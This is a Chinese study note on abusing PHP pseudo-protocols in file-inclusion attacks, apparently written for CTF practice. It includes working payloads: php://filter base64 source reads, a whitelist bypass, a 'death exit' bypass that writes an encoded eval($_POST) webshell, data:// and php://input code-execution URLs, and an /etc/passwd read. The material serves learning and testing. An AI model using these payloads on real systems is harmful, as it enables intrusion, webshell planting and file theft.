php伪协议

简介

PHP伪协议:是php支持的协议和封装协议。
协议:是通信双方的约定
封装协议:是在实际的数据通信系统中通过对协议的不同的加密方式,实现双方连接

php支持的伪协议

1
2
3
4
5
6
7
8
9
10
11
12
1 file:// — 访问本地文件系统
2 http:// — 访问 HTTP(s) 网址
3 ftp:// — 访问 FTP(s) URLs
4 php:// — 访问各个输入/输出流(I/O streams)
5 zlib:// — 压缩流
6 data:// — 数据(RFC 2397)
7 glob:// — 查找匹配的文件路径模式
8 phar:// — PHP 归档
9 ssh2:// — Secure Shell 2
10 rar:// — RAR
11 ogg:// — 音频流
12 expect:// — 处理交互式的流

php://filter

allow_url_fopen off/on
allow_url_include off/on
php://filter可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,让其不执行,从而任意文件读取
协议参数:

1
2
3
4
resource=<要过滤的数据流>	这个参数是必须的。它指定了你要筛选过滤的数据流。
read=<读链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
write=<写链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
<;两个链的筛选列表> 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。

常用

1
php://filter/read=convert.base64-encode/resource=xxx.php

使用的convert.base64-encode,就是一种过滤器
具体一些过滤器请参照本文参考文章:
https://blog.csdn.net/cosmoslin/article/details/120695429
过滤器嵌套
php://filter/read=convert.base64-encode/index/resource=flag,因为要读取,所以是read=过滤器(convert.base64-encode),后面用/隔开index,index是过滤器吗,但是可以嵌套,绕过这样的白名单,实现flag的读取,这里后面会自动加上.php所以不需要加

1
2
3
4
5
if(isset($file))
{
if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){
include ($file . '.php');
}

死亡exit

死亡exit指的是在进行写入PHP文件操作时,执行了以下函数:

1
2
3
4
5
6
file_put_contents($content, '<?php exit();' . $content);
或者
file_put_contents($content, '<?php exit();?>' . $content);
PHP file_put_contents() 函数:语法int file_put_contents ( string $filename , mixed $data [, int $flags = 0 [, resource $context ]] )
参数:filename 必需,规定要写入数据的文件。如果文件不存在,则创建一个新文件
data 必需,规定要写入文件的数据。可以是字符串、数组或数据流。
1
2
3
4
<?php
$filename=$_GET['filename'];
$content=$_GET['content'];
file_put_contents($filename,"<?php exit();".$content);

$content在开头增加了exit过程,导致即使我们成功写入一句话,也执行不了。那么这种情况下,如何绕过这个“死亡exit”?

思路其实也很简单我们只要将content前面的那部分内容使用某种手段(编码等)进行处理,导致php不能识别该部分就可以了。
这里的$_POST[‘filename’]是可以控制协议的.
这里就介绍一种绕过,即我们刚学的php://filter配合base64编码:

base64绕过

1
2
3
4
5
6
7
首先我们需要清楚的是base64编码中只包含64个可打印字符,而PHP在解码base64时,遇到不在其中的字符时,将会跳过这些字符,仅将合法字符组成一个新的字符串进行解码
那么当$content被加上了<?php exit; ?>以后,我们可以使用php://filter/write=convert.base64-decode来首先对其解码。在解码的过程中,字符< ? ; >空格等一共有7个字符不符合base64编码的字符范围将被忽略,所以最终被解码的字符仅有”phpexit”和我们传入的其他字符。
由于base64是4个byte一组,再添加一个字符例如添加字符’a’后,将’phpexita’当做两组base64进行解码,这个时候后面再加上编码后的一句话木马,就可以getshell了。
payload:
?filename=php://filter/convert.base64-decode/resource=xxx.php&content=aPD9waHAgZXZhbCgkX1BPU1RbYV0pOw==
a后面的编码实际上就是一句话木马
死亡exit具体参考:https://blog.csdn.net/woshilnp/article/details/117266628

这里有个疑问,为什么exit那段代码解码后会改变,而我们传入的编码后的一句话解码后为正常php代码

data://

allow_url_fopen on
allow_url_include on
数据流封装器,以传递相应格式的数据。可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行。
示例用法:

1
2
3
4
5
1、data://text/plain,
http://127.0.0.1/include.php?file=data://text/plain,<?php phpinfo();?>

2、data://text/plain;base64,
http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAlMjBwaHBpbmZvKCk7Pz4=

范例
#1 打印 data:// 的内容

1
2
3
4
<?php
// 打印 "I love PHP"
echo file_get_contents ( 'data://text/plain;base64,SSBsb3ZlIFBIUAo=' );
?>

file://

allow_url_fopen off/on
allow_url_include off/on
用于访问本地文件系统
file://协议主要用于访问文件(绝对路径、相对路径以及网络路径)
比如:http://www.xx.com?file=file:///etc/passsword

php://input

allow_url_fopen off/on
allow_url_include on
php://input允许开发者从请求体中获取原始的 POST 数据

1
2
3
eg:
http://127.0.0.1/cmd.php?cmd=php://input
POST数据:<?php phpinfo()?>

PHP file_get_contents() 函数:把整个文件读入一个字符串中

注意:碰到file_get_contents()就要想到用php://input绕过

碰到file_get_contents()就要想到用php://input绕过,因为php伪协议也是可以利用http协议的,即可以使用POST方式传数据。file_get_contents():这个函数就是把一个文件里面的东西 (字符)全部return出来作为字符串。除此之外,通过实践我发现这个函数如果直接把字符串当作参数会报错,但如果包含的是http协议的网址,则会像curl命令一样,把源码读出来。而php伪协议也是识别http协议的,所以说上面php://input可以将POST的数据读过来来赋值给参数。

1
2
3
<?php
echo file_get_contents("php://input");
?>

php://input(写入木马):
这里有些不理解
学习网址:https://blog.csdn.net/qq_51524329/article/details/121439731